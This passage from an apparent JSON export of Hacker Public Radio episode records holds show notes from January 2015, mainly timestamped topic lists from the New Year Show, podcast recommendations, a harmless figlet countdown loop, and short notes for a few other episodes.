                  • \"its connected with cutting hay... when your using a scythe which is really advanced tech and basicly led to the masive dependance on grain consumption believe it or not. But when cutting grass for hay for winter feed... cutting lower at the bottom by 1 inch gave bigger return for your effort and quality than have the grass 2 inches tailer
                    \n
                    \n
                  • \n
                  ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1676,"date":"2015-01-05","title":"HPR Community News for December 2014","duration":12060,"summary":"HPR Community News for December 2014 and part 3 of the New Year Show 18 to 20 Hundred.","notes":"

                  HPR Community News for December 2014

                  \n

                  New hosts

                  \n

                  Welcome to our new hosts:
                  Rill, Michal Cieraszynski.

                  \n

                  Last Month's Shows

                  \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                  IdDateTitleHost
                  16512014-12-01HPR Community News for November 2014HPR Volunteers
                  16522014-12-02GeekSpeak 2013-06-01Various Creative Commons Works
                  16532014-12-03Ruth Suehle at Ohio Linux Fest 2014Ahuka
                  16542014-12-04Using AS numbers to identify where you are on the InternetKen Fallon
                  16552014-12-0543 - LibreOffice Calc - Creating Pivot TablesAhuka
                  16562014-12-08My audio player collectionDave Morriss
                  16572014-12-09Hacking Gutenberg eBooksJon Kulp
                  16582014-12-10Cool Stuff Part 2Curtis Adkins (CPrompt^)
                  16592014-12-11OggCamp Interview with Jon Archercorenominal
                  16602014-12-12Trying out Slackwarebeni
                  16612014-12-15OggCamp Interview with Paul Tansomcorenominal
                  16622014-12-16LinuxLugCast Episode-001 OuttakesKevin Wisher
                  16632014-12-17Interview with Greg Greenlee Founder of Blacks In TechnologyKen Fallon
                  16642014-12-18Life and Times of a Geek part 1Dave Morriss
                  16652014-12-1944 - LibreOffice Calc - Working With Pivot TablesAhuka
                  16662014-12-22Bare Metal Programming on the Raspberry Pi (Part 3)Gabriel Evenfire
                  16672014-12-23How to start a BlogRill
                  16682014-12-24Nixstallerklaatu
                  16692014-12-25New Retro ComputingNYbill
                  16702014-12-26Digital Signatures and CertificatesAhuka
                  16712014-12-29LinuxLugCast Episode-002 OuttakesKevin Wisher
                  16722014-12-30Systemd for Learner DriversSteve Smethurst
                  16732014-12-31How I use ZFS on LinuxMichal Cieraszynski
                  \n

                  Comments this month

                  \n

                  There are 31 comments:

                  \n
                    \n
                  • hpr1667 (2014-12-23) \"How to start a Blog\" by Rill.
                      \n
                    1. davi jordan on 2014-12-27:\"[no title]\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1666 (2014-12-22) \"Bare Metal Programming on the Raspberry Pi (Part 3)\" by Gabriel Evenfire.
                      \n
                    1. Mike Ray on 2014-12-22:\"Another great episode\"
                    2. \n
                    3. Gabriel Evenfire on 2014-12-24:\"Re: Another great episode\"
                    4. \n
                    \n
                    \n
                  • \n
                  • hpr1664 (2014-12-18) \"Life and Times of a Geek part 1\" by Dave Morriss.
                      \n
                    1. 0xf10e on 2014-12-20:\"Cool stuff ^^\"
                    2. \n
                    3. Colin on 2014-12-22:\"Thanks Dave!\"
                    4. \n
                    5. Dave Morriss on 2014-12-22:\"Appreciate the feedback\"
                    6. \n
                    \n
                    \n
                  • \n
                  • hpr1663 (2014-12-17) \"Interview with Greg Greenlee Founder of Blacks In Technology\" by Ken Fallon.
                      \n
                    1. dodddummy on 2014-12-25:\"BIT rss feed issues\"
                    2. \n
                    3. Dave Morriss on 2014-12-25:\"Re: BIT rss feed issues\"
                    4. \n
                    \n
                    \n
                  • \n
                  • hpr1660 (2014-12-12) \"Trying out Slackware\" by beni.
                      \n
                    1. Loomx on 2014-12-12:\"[no title]\"
                    2. \n
                    3. Mike Ray on 2014-12-12:\"Great episode\"
                    4. \n
                    5. Beni on 2014-12-13:\"Thanks guys\"
                    6. \n
                    \n
                    \n
                  • \n
                  • hpr1659 (2014-12-11) \"OggCamp Interview with Jon Archer\" by corenominal.
                      \n
                    1. NYbill on 2014-12-18:\"Ah it just clicked!\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1658 (2014-12-10) \"Cool Stuff Part 2\" by Curtis Adkins (CPrompt^).
                      \n
                    1. Daven on 2014-12-12:\"Thanks!\"
                    2. \n
                    3. NYbill on 2014-12-19:\"Another podcast for the catcher. \"
                    4. \n
                    \n
                    \n
                  • \n
                  • hpr1657 (2014-12-09) \"Hacking Gutenberg eBooks\" by Jon Kulp.
                      \n
                    1. Dave Morriss on 2014-12-19:\"Thanks Jon, this is brilliant\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1656 (2014-12-08) \"My audio player collection\" by Dave Morriss.
                      \n
                    1. Mike Ray on 2014-12-08:\"The Dave Morris National Audio Player Museum\"
                    2. \n
                    3. p on 2014-12-08:\"[no title]\"
                    4. \n
                    5. Dave Morriss on 2014-12-09:\"Thanks for the feedback\"
                    6. \n
                    7. p on 2014-12-10:\"[no title]\"
                    8. \n
                    9. Dave Morriss on 2014-12-13:\"iRiver Clix2\"
                    10. \n
                    \n
                    \n
                  • \n
                  • hpr1651 (2014-12-01) \"HPR Community News for November 2014\" by HPR Volunteers.
                      \n
                    1. Mike Ray on 2014-11-30:\"Comment about the RPI GPU in com news for November\"
                    2. \n
                    3. Dave Morriss on 2014-12-01:\"Ken Starks' Indiegogo campaign\"
                    4. \n
                    \n
                    \n
                  • \n
                  • hpr1649 (2014-11-27) \"Raspberry Pi Accessibility Breakthrough\" by Mike Ray.
                      \n
                    1. gigasphere on 2014-12-02:\"Thanks Mike!\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1648 (2014-11-26) \"Bash parameter manipulation\" by Dave Morriss.
                      \n
                    1. Jon Kulp on 2014-12-04:\"[no title]\"
                    2. \n
                    3. Dave Morriss on 2014-12-05:\"Thanks Jon\"
                    4. \n
                    5. musicpeace on 2014-12-10:\"Thanks Dave! & also for Magnatune\"
                    6. \n
                    7. Dave Morriss on 2014-12-13:\"Magnatune\"
                    8. \n
                    \n
                    \n
                  • \n
                  • hpr1643 (2014-11-19) \"Unison Syncing Utility\" by FiftyOneFifty.
                      \n
                    1. bort on 2014-12-04:\"[no title]\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1637 (2014-11-11) \"Communities Are Made of People\" by FiftyOneFifty.
                      \n
                    1. gigasphere on 2014-12-02:\"Great episode\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1630 (2014-10-31) \"Bare Metal Programming on the Raspberry Pi (Part 2)\" by Gabriel Evenfire.
                      \n
                    1. Alison Chaiken on 2014-12-16:\"Would make a great basis for a hackfest\"
                    2. \n
                    \n
                    \n
                  • \n
                  • hpr1512 (2014-05-20) \"Adopting and Renovating a Public-Domain Counterpoint Textbook\" by Jon Kulp.
                      \n
                    1. Måns Mårtensson on 2014-12-15:\"Teacher\"
                    2. \n
                    \n
                  • \n
                  \n 2014-12-31T20:00:00Z
                  \n
                  \n
                    \n
                  • Greetings to much of Russia and 8 more: Moscow, Dubai, Abu Dhabi, and Muscat.
                    \n
                    \n
                  • \n
                  2014-12-31T20:30:00Z
                  \n
                  \n
                    \n
                  • Greetings to Iran: Tehran, Rasht, Esfahn, and Bandar-Abbas.
                    \n
                    \n
                  • \n
                  • Two rednecks digress on matters of the heart.
                    \n
                    \n
                  • \n
                  2014-12-31T21:00:00Z
                  \n
                  \n
                    \n
                  • Greetings to Iraq and 20 more: Baghdad, Khartoum, Nairobi, and Addis Ababa.
                  • \n
                  • Call for shows by Ken, also correct his pronounciation =D
                  • \n
                  • Right to be forgotten. A small discussion and explination about the idea. 
                  • \n
                  • Processes of hiring folks. 
                  • \n
                  • issues related to privacy. 
                  • \n
                  • Ken Falls for a guy. 
                  • \n
                  • Heated debate!!
                  • \n
                  • Ken Fallon and SndChaser start the annual rant-off, Fab is nowhere to be seen.
                  • \n
                  Mumble-2014-12-31-10-03-18-ch1.teamspeak.cc-Mixdown.ogg
                  ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1677,"date":"2015-01-06","title":"2014-2015 New Year Show Part 4 of 8","duration":8224,"summary":"New Year Show Part 4 of 8 22:00 to 00:30 UTC","notes":"2014-12-31T22:00:00ZMumble-2014-12-31-14-00-23-ch1.teamspeak.cc-Mixdown.ogg
                  • Greetings to Greece and 30 more: Cairo, Ankara, Athens, and Bucharest.
                  • kinda quiet
                  • camera buying with dann.... kinda
                  • topic hopping
                  • speculation on how windows will work without IE.
                  • proprietary marketing skills
                  • mass brainwashing of the world (Apple, anyone?)


                  • 2014-12-31T23:00:00Z
                    • Greetings to Germany and 43 more: Brussels, Madrid, Paris, and Rome.
                    • Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, 
                    • we are living the future, we are all our own gutenbergs
                    • The wave is really the Mexican Wave!
                    • George Orwell was an incredible human being
                    • Was George Orwell a time traveler who invented the salng word \"Pig\" for police?
                    • Star wars discussion
                    • Dr. Who talk
                    • Distribution of entertainment media around the world shouldn't be delayed
                    • Best comic book remakes
                    • 2015-01-01T00:00:00Z
                      • Greetings to United Kingdom and 24 more: London, Casablanca, Dublin, and Lisbon.
                      • ...continuing the Dr. Who / media distribution discussion
                      • ThistleWeb watches Dawson's Creek 
                      • Bluetooth controllers, Bethoven and jousting https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/
                      • Lord Drakenblut Has a crowd funding campaign to get to SCALE. https://www.gofundme.com/gysc0o . Sadly, he is ill.
                      • I (JonTheNiceGuy) joined the feed, and the podcast I produce (CCHits.net *plug*) was mentioned ;)
                      • KLAATU IS HERE!!!!
                      • now we are talking about things that he cannot speak about. 
                      • reading the books is faster than watching the movies?
                      • Book and movie spoiler time =D yolo
                      • Books, Movies...
                      • Bad cantina music


                      • ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1678,"date":"2015-01-07","title":"2014-2015 New Year Show Part 5 of 8","duration":8239,"summary":"New Year Show Part 5 of 8 00:30 to 03:00 UTC","notes":"2015-01-01T00:00:00Z
                        • Greetings to United Kingdom and 24 more: London, Casablanca, Dublin, and Lisbon.
                        • ...continuing the Dr. Who / media distribution discussion
                        • ThistleWeb watches Dawson's Creek 
                        • Bluetooth controllers, Bethoven and jousting https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/
                        • Lord Drakenblut Has a crowd funding campaign to get to SCALE. https://www.gofundme.com/gysc0o . Sadly, he is ill.
                        • I (JonTheNiceGuy) joined the feed, and the podcast I produce (CCHits.net *plug*) was mentioned ;)
                        • KLAATU IS HERE!!!!
                        • now we are talking about things that he cannot speak about. 
                        • reading the books is faster than watching the movies?
                        • Book and movie spoiler time =D yolo
                        • Books, Movies...
                        • Bad cantina music


                        • 2015-01-01T01:00:00Z
                          • Greetings to Cape Verde, some regions of Greenland and 1 more: Praia, Ponta Delgada (Azores), Ittoqqortoormiit, and Mindelo.
                          • Podcast recommendations:
                          • Crivens - https://unseenstudio.co.uk/category/crivins-ogg/
                          • The Linux Link Tech Show - https://tllts.org got that one already
                          • The Crab Feast - https://www.thecrabfeast.com/
                          • Tech Snap - https://www.jupiterbroadcasting.com/
                          • Linux in the Ham Shack - https://lhspodcast.info/
                          • Linux Action Show (total shite)
                          • Keith and the Girl - https://www.keithandthegirl.com/
                          • Podnutz.com - if you need a link..... https://justfuckinggoogleit.com/  {NSFW}
                          • Distorted View - https://www.distortedview.com/show
                          • Tux Jam - https://unseenstudio.co.uk/category/tuxjam-ogg/
                          • Bad Voltage - https://www.badvoltage.org/
                          • the Changelog - (better than FLOSS Weekly) https://thechangelog.com/
                          • Knightcast by Knightwise
                          • The No Agenda Show - https://www.noagendashow.com/
                          • Stuff You Should Know - https://www.stuffyoushouldknow.com/
                          • \"No such thing as a fish\" - https://qi.com/podcast/ 
                          • Tank Riot - https://www.tankriot.com/
                          • Raspi today - https://www.raspi.today/
                          • Linux Voice - https://linuxvoice.com
                          • Going Linux - https://goinglinux.com
                          • DVDASA - https://dvdasa.com watch the videos uncensored on https://vid.me/u/dvdasa
                          • Linux Luddites - https://linuxluddites.com
                          • mintCast - https://mintcast.org
                          • The Adam Carolla Show - https://adamcarolla.com/
                          • Ace on the House - https://aceonthehouse.adamcarolla.com/
                          • CC Hits - cchits.net
                          • Youtube mini cooper build with 200 HP 4WD Celica running gear https://www.youtube.com/attribution_link?a=zjG9fRWFnag&u=/playlist?list%3DLLHvBHWBzzB7NyU5tIiEZHBg
                          • Just general talking about commercial media. 
                          • Jim Henson series - The Story Teller https://thetvdb.com/?tab=series&id=77747&lid=7
                          • LEX - https://thetvdb.com/?tab=series&id=72854&lid=7


                          • 2015-01-01T02:00:00Z
                            • Greetings to regions of Brazil, Uruguay and 1 more: Rio de Janeiro, Sao Paulo, Brasilia, Montevideo.
                            • 5150 has shitty audio again
                            • Favorite Hardware purchases of 2014
                            • cobra2 - Duracell powermat (inductive portable backup)  $10 USD https://www.amazon.com/gp/product/B0082YVBO0/ref=oh_aui_detailpage_o01_s00?ie=UTF8&psc=1
                            • pokey: Gorilla Drive USB flash memory (thumb drive), $200 Wally World HP laptop
                            • SndChaser: ZaReason laptop https://zareason.com/shop/home.php
                            • back to tvshows
                            • Starship titanic https://www.starshiptitanic.com/ https://en.wikipedia.org/wiki/Starship_Titanic
                            • FOOD!!!
                            • genetically modified crops discussion (pretty good)

                            • ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1679,"date":"2015-01-08","title":"2014-2015 New Year Show Part 6 of 8","duration":7967,"summary":"New Year Show Part 6 of 8 from 03:00 to 05:30 UTC","notes":"2015-01-01T03:00:00Z
                              • Greetings to regions of Brazil, Argentina and 7 more: Buenos Aires, Santiago, Asuncion, Paramaribo.
                              • SoundChaser doesn't sound pasty white. 
                              • Genetically modified discusion continues (not as good the second time)
                              • Genetically modified discusion continues (time to fast forward)
                              • 2015-01-01T03:30:00Z
                                • Greetings to Newfoundland and Labrador/Canada  St. John's, Conception Bay South, Corner Brook,Gander.
                                • Systemd discussion about server logs
                                • we still don't understand why they do time on a 30 min break.... come on people just use UTC
                                • UTC FTW
                                • Watch chat
                                • Drink-o-meter chat this is a fabulous idea, 50 should do it. 
                                • guns and good chinchillas


                                • 2015-01-01T04:00:00Z
                                  • Greetings to Atlantic Canada and cobra2 and 26 more: Saint John, La Paz, San Juan, Santo Domingo, Halifax.
                                  • guns... again pokey talks about how he rebuilt an air gun to something special that ended in epic fail (bent barrel)
                                  • Pokey has a Bad Barrel
                                  • pokey has a new job!!!
                                  • pokey is building the internet at his new job. Trans-oceanic cables don't build themselves afterall.
                                  • books
                                  • 2015-01-01T04:30:00Z
                                    • Greetings to Venezuela Caracas, Barquisimeto, Maracaibo, Maracay.
                                    • retro games that are must plays
                                    • Metroid NES
                                    • Super Metroid SNES
                                    • Legend of Zelda NES
                                    • Ninja Gaiden
                                    • Lolo Land NES
                                    • You Don't Know Jack PC
                                    • Delwin makes a cameo appearance
                                    • 2015-01-01T05:00:00Z
                                      • Greetings to the eastern region of the United States,regions of Canada and 12 more: New York, Boston, Rochester NY, Rochester NH, Millinocket, Maryland, Washington DC, Detroit, Havana, Atlanta.
                                      • fireworks and meth labs go up in celebration of the new year. Pgggy went to watch...
                                      • and we are really not family friendly now
                                      • Kerbal Space Platform is a game. People like it.
                                      • notKlaatu didn't get busted transproting lockpick tools from the US to New Zealand
                                      • OpenSource HTML5 IRC client: https://kiwiirc.com/
                                      • Gnu Social servers: https://quitter.se and https://micro.fragdev.com/


                                      • ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1680,"date":"2015-01-09","title":"2014-2015 New Year Show Part 7 of 8","duration":8518,"summary":"New Year Show Part 7 of 8 from 05:30 to 08:00 UTC","notes":"2015-01-01T05:00:00Z
                                        • Greetings to the eastern region of the United States,regions of Canada and 12 more: New York, Boston, Rochester NY, Rochester NH, Millinocket, Maryland, Washington DC, Detroit, Havana, Atlanta.
                                        • fireworks and meth labs go up in celebration of the new year. Pgggy went to watch...
                                        • and we are really not family friendly now
                                        • Kerbal Space Platform is a game. People like it.
                                        • notKlaatu didn't get busted transproting lockpick tools from the US to New Zealand
                                        • OpenSource HTML5 IRC client: https://kiwiirc.com/
                                        • Gnu Social servers: https://quitter.se and https://micro.fragdev.com/


                                        • 2015-01-01T06:00:00Z
                                          • Greetings to the midwest region of the United States, some regions of Canada and 8 more  Mexico City, Chicago, Guatemala, Dallas.
                                          • Hillbilly Tracking of Low Earth Orbit [30c3]
                                          • https://www.youtube.com/watch?v=ktnQ7nBCuqU
                                          • Etherpad is the BOMB!
                                          • arrrr
                                          • No more possum drops in Brasstown, NC
                                          • fecal matter.... lots of it.... don't listen to this hour...
                                          • Threethirty's S2 has epic audio over 3G
                                          • Summer/Winter breaks
                                          • What we did when we were kids.
                                          • Best memories of 2014
                                          • 5150 fire
                                          • NSFW..... NSFAA
                                          • NSFBWA
                                          • well cobra2 attempted to reign in the chaos.... bah... this is pointless. 
                                          • ehhh, warn them I hate being the judgemental type.
                                          • I'm not logged in as an admin. else I'd do it myself
                                          • pokey considers banishing people to the competitive drinking room...
                                          • if you can't beat em... join em? That was reeling it in.Might bring it  to stories
                                          • HPR NYE goes off the rails for a bit, and Cobra2 dropps the gentile hammer.
                                          • then we find out just how drunk 50 is.....
                                          • 2015-01-01T07:00:00Z
                                            • Greetings to the mountain region of the United States, some regions of Canada and 1 more: Calgary, Denver, Edmonton, Phoenix.
                                            • cobra2 injests first cup of coffee that is needed to stay awake
                                            • Weak
                                            • This hour is NSFW too.
                                            • More Copyright discussion.
                                            • finally coffee.......
                                            • Coffee in New Zealand is pretty darn good ~ Klaatu
                                            • OMG there was an alien in the Navy. robot.
                                            • and someone prods the bear

                                            • ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1681,"date":"2015-01-12","title":"2014-2015 New Year Show Part 8 of 8","duration":13080,"summary":"New Year Show Part 8 from 08:00 to 12:00","notes":"2015-01-01T08:00:00ZMumble-2015-01-01-00-04-59-ch1.teamspeak.cc-Mixdown.ogg
                                              • Greetings to the western region of the United States, some regions of Canada and 2 more: Los Angeles, San Francisco, Las Vegas, Seattle.
                                              • pants.... really this is intelligent conversation
                                              • Pants are optional, I think. It's -20C.... pants are not optional
                                              • kilts are kreepy? or not. No they are not.
                                              • cobra2 thinks that ken should pay attention to show notes for editing lol. 
                                              • pokey thinks this may be the show that finally convinces Ken to edit.
                                              • 2nd there is a good hour that should not go onto the feed. it was rough on the stream
                                              • YAY TMI!!!
                                              • This is not the creamy part of the oreo. :(
                                              •  this is the creamy salty part... of the oreo. 
                                              • Sliders - tvshow added late by pegwole
                                              • dogs giving birth sounds better than singing over mumble


                                              • 2015-01-01T09:00:00Z
                                                • Greetings to Alaska and French Polynesia: Anchorage, Fairbanks, Unalaska, Juneau.
                                                • pokey  issues a challenge to the NYE participants: Judging by the show notes, we've spent the last 6 hours taking every joke to the lowest common denominator. I'd like to see an hour of greatest common factor.
                                                • Ken Talks about xmlstarlet and converting xml
                                                • 2015-01-01T09:30:00Z
                                                  • Greetings to Marquesas Islands/France. Taiohae.

                                                  • \n
                                                    • handsome_pirate talks about his model trains; he models the original Norfolk Southern in N scale
                                                    • Some talks about about Scottish things, innacuracies in Braveheart, Gaidhligh has no 'W'
                                                    • 2015-01-01T10:00:00Z
                                                      • Greetings to small region of the United States and 2 more: Honolulu, Rarotonga, Adak, Papeete.
                                                      • Youngins!
                                                      • Kens Children talk about taking hard disks apart and put together an Ikea bookshelf.
                                                      • Discussion on accessability in mumble Emil Ivov, the project lead of Jitsi. https://hackerpublicradio.org/eps.php?id=1454 Jits


                                                      • 2015-01-01T11:00:00Z
                                                        • Greetings to American Samoa, Midway Atoll and 1 more: Alofi, Midway, Pago Pago.
                                                        • Use of federated tools like gnusocial quitter.se 
                                                        • Tech in Hungary - Internet tax
                                                        • Irish expats can't vote
                                                        • Scottish independance
                                                        • https://duffercast.org/about/the-hosts/
                                                        • Ken shares his saga on getting a Linux Laptop
                                                        • UK Support say \"Lenovo UK does not restrict anything on the unit. You can install any  Operating system on the unit however we can only support the original  configuration of the unit. \"
                                                        • Ken Asked \"Lenovo have shipped the IdeaPad Flex 10, without the ability to boot other operating systems, restricting the owner to running only the installed Windows 8.0 operating system.\"
                                                        • Lenovo Replies: \"The first wave of this CPU model from Intel can only support Windows, this is not Lenovo design, all product with this wave CPU were not able to support other OS except Windows. After this wave, the follow on Flex10 will support other operating systems.\"
                                                        • Open phones. https://en.wikipedia.org/wiki/List_of_open-source_mobile_phones
                                                        • 2015-01-01T12:00:00Z
                                                          • Greetings to small region the United States: Baker Island, Howland Island.
                                                          • \n
                                                          • Script to convert url lists to OPML: https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/blob/master/misc/convert-mashpodder-to-opml.bash
                                                          • \n
                                                          • The End!
                                                          •  https://en.wikipedia.org/wiki/Auld_Lang_Syne


                                                          • Auld Lang SyneShould auld acquaintance be forgot, And never brought to mind? Should auld acquaintance be forgot, And days o’ lang syne!Chorus:For auld lang syne, my dear For auld lang syne, We’ll tak a cup o’ kindness yet For auld lang syne!               We twa hae run about the braes, And pu’d the gowans fine, But we’ve wander’d mony a weary foot Sin’ auld lang syne.             We twa hae paidl’t in the burn Frae morning sun till dine, But seas between us braid hae roar’d Sin’ auld lang syne.             And there’s a hand, my trusty fiere, And gie’s a hand o’ thine, And we’ll tak a right guid willie-waught For auld lang syne!             And surely ye’ll be your pint’ stoup, And surely I’ll be mine! And we’ll tak a cup o’ kindness yet For auld lang syne!Count down script$ while [[ $(date +%Y) -ne 2015 ]];do figlet $(($(date -d 2015-01-01  +%s)-$(date +%s)));sleep 1;clear;done;figlet 'Happy New Year!'Thanks To:Mumble Server: John NeusteterHPR Site/VPS: Joshua Knapp - AnHonestHost.comStreams: Kevin Wisher - https://www.linuxlugcast.comAdmin Support: cobra2    EtherPad: Russ Woodman - K5TUXPeak Listeners on stream: 45Mumble Participants: 74Arjun.extbbambikerBeezaBill_MIBroamchalkahlomclaudiomcobra2cogsColindannsDanyel_TigerdavidWHITMANdeltaraydelwinDrSeussOfPorndude-manEpicanisfatherfinchFiftyOneFiftyFlyingRichHCSCfredmorcosFXBOY4EVAHarryGuerrillahonkeymagoohpiratejkibjnadeaujneusteterJoeRessJonDoeLocksmithJon-KT4KBJonTheNiceGuyK5TUXken_fallonKnightwisekt4kb_KWisherlgxlinuxinsiderLord_DMarkWatersmcnaluMikeRayMint-JackmpbairdMrGadgetsmrxn0wjeneurosisnotklaatuperlistpokeypopeyriddleboxRobHSamWhitedschismsebsebsebMageia4SeeteeShadowSndChaserTallyThajthelastknowngodThistleWebthreethirtytjwehrleyUnderrunerUrugamiuseruserVelkroPodcasts:https://www.jupiterbroadcasting.com/show/techsnap/ (TechSNAPP - sysadmin techy stuff)https://www.jupiterbroadcasting.com/show/unfilter/ (political media coverage)https://www.dancarlin.com/common-sense-home-landing-page/ (politicial media)https://www.dancarlin.com/home-hh-54/ (hardcore history, for history buffs)https://podcasts.joerogan.net/ Joe Rogan interviews all types of peoplehttps://www.linuxlugcast.comhttps://duffercast.org/about/the-hosts/https://www.todayifoundout.com/index.php/category/podcast/\n
                                                            \nhpr1681_mumble.log
                                                            \nhpr1681_irc.log
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2015","version":0,"downloads":0,"valid":1}, {"id":1682,"date":"2015-01-13","title":"Introduction to the Netizen Empowerment Federation","duration":620,"summary":"Introduction to Netizen Empowerment Federation. It is short, so let me know if you'd like detail.","notes":"

                                                            \nThis is my first HPR release and I'm going to keep it short. If anyone is intertested in hearing more about any of the projects I mention here, I'm happy to do another show.\n

                                                            \n

                                                            \nFirst, I just want to say that everything on Netizen Empowerment Federation (NEF) is released under a free culture license, though not all of the music selected by our presenters is free culture. Right now we are blog and podcast focused, but we would like to add digital creators of all types.\n

                                                            \n\n
                                                              \n
                                                            • https://opensourceplayground.org/\nI'm doing these sites in the order they were created, though I'm not sure if OSP or Sportazine was created first. Since OSP is the most closely related to HPR, I'm going to start with that. OSP started as a shared hosting gift for new developers. The idea was I could make people accounts on Dreamhost and they could test the latest free software. Since it wasn't a business, I didn't really promote it. It never took off. I had a few people in Wisconsin make accounts, but they barely used them. It's not really important why that idea failed, but eventually it just became a place for me to talk tech. lnxw48 aka lnxwalt is our current systems administrator and occasionally writes pieces for the site. Like all of our sites, we are always looking for contributors! \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • https://sportazine.com/\nAs far as I'm aware, Sportazine is the only site dedicated to sports and free culture. This means a lot of things. First it means, making sure online sports viewing works in free formats. It also means that there are free software fantasy sports implementations and that sports journalism happens under free culture licenses. Sportazine is a weird beast because we partnered with JMP Enterprise. \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • https://www.musicmanumit.com/\nThis is a collection of shows about remixable music. The main show features me and Tom of the band Lorenzo's Music. You can find his band on Jamendo, Spotify, Free Music Archive, and I'm sure plenty of other places.\n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • https://law.musicmanumit.com/\nThe Lawcast is on hiatus and when it comes back will likely be less law focused and more just a catchall for more academic and policy-related stuff than we do on the main show. I'll probably talk a lot more about free software on the reboot, because it's not a topic Tom really cares much about. Tom is a GNU/Linux user, but he refuses to use anything but Skype or Hangout for recording the shows. I'll probably have on musicians that we wouldn't otherwise have on and thus a topic of conversation on those shows will be \"Why won't you use Skype or Hangout?\" I suspect most of the reasons will be free software focused, but they may also be privacy focused (not that they are unrelated).\n

                                                              \n
                                                            • \n
                                                            • https://punk.musicmanumit.com\nThe punkcast is pretty much what it sounds like it is. Eventually I want to bring it back. Right now though, I need to focus on finding funding, because if I don't, my wife is going to kick me out. I hope this is resolved by the time you hear this. I'm recording on December 19.\n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • https://cyberunions.org/\nI think Cyberunions.org may have started before any of these, but I put it here due to the start of the Cyberunions podcast, which is currently on hiatus. Stephen now works for the FSF, so you know free software is important to him. I'm not going to say much about the show, because aside from being a one-time guest, I'm not involved in the project. If people want to know more about Cyberunions, I suggest you pester Stephen (aka mv) about doing a show.\n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • https://rynothebearded.com/\nRTB really refers to two music shows, one called OO (pronounced \"oh-oh\") and one called Unformatted. The site also has a stream that carriers a variety of shows, including Cerebral Mix, Rage and Frustration, and the last NEF show I am going to discuss.\n
                                                            • \n
                                                            \n\n\n","hostid":294,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music, free software, open source, sports, law, copyright, patents, punk, unions, workers, nef","version":0,"downloads":0,"valid":1}, {"id":1683,"date":"2015-01-14","title":"Theater of the Imagination: Part 06","duration":2757,"summary":"lostnbronx interviews Julie Hoverson, a modern audio drama enthusiast","notes":"

                                                            \nIn this installment, lostnbronx interviews Julie Hoverson, a modern audio drama enthusiast of great experience and insight.\n

                                                            \n

                                                            \nCheck out Julie's wonderful audio content at:\n

                                                            \n

                                                            \nhttps://www.19nocturneboulevard.net/Episodes.htm\n

                                                            \n

                                                            \nand (primarily)\n

                                                            \n

                                                            \nhttps://www.nineteennocturne.libsyn.com/\n

                                                            ","hostid":107,"series":52,"explicit":1,"license":"CC-BY-SA","tags":"audio,drama,audio drama","version":0,"downloads":0,"valid":1}, {"id":1684,"date":"2015-01-15","title":"5150 Shades of Beer Jacob Leinenkugels Winter Explorer Pack","duration":814,"summary":"fifty tries the Leinenkugels Explore pack","notes":"

                                                            \nJacob Lienenkugels Winter Explorer Pack \"Chippewa Falls, WI since 1867\"\n

                                                            \n

                                                            \nWinters Bite - Do you know what it smells like when you open a tin of cocoa (the semi-sweet kind, not the unsweetend) and no matter how you do it, a litle of the powder puffs out? The best descrition I can give this beer is it tastes just like that smell, even down to the dryness. Neither cloyingly sweet or leaving you wondering who mixed the chocolate syrup into you beer, just a sublte taste of dry cocoa. This lager pours dark with very little head. This beer (my favorite it this group) is only available in the Explorer pack, and it's ABV and ingredients are not featured on leinie.com.\n

                                                            \n

                                                            \nHelles Yeah - (German blonde lager, Helles means \"light\" in German, but unlike American beers, it refers only to color). Straw color, very clear, moderate head that disapears w/o lacing. Sublte flavor, a hit of hops and just slightly more than a pinch of pepper. 5.5 ABV Malts: Pale malts Hops: Five All-American hops including Simcoe and Citra \n

                                                            \n

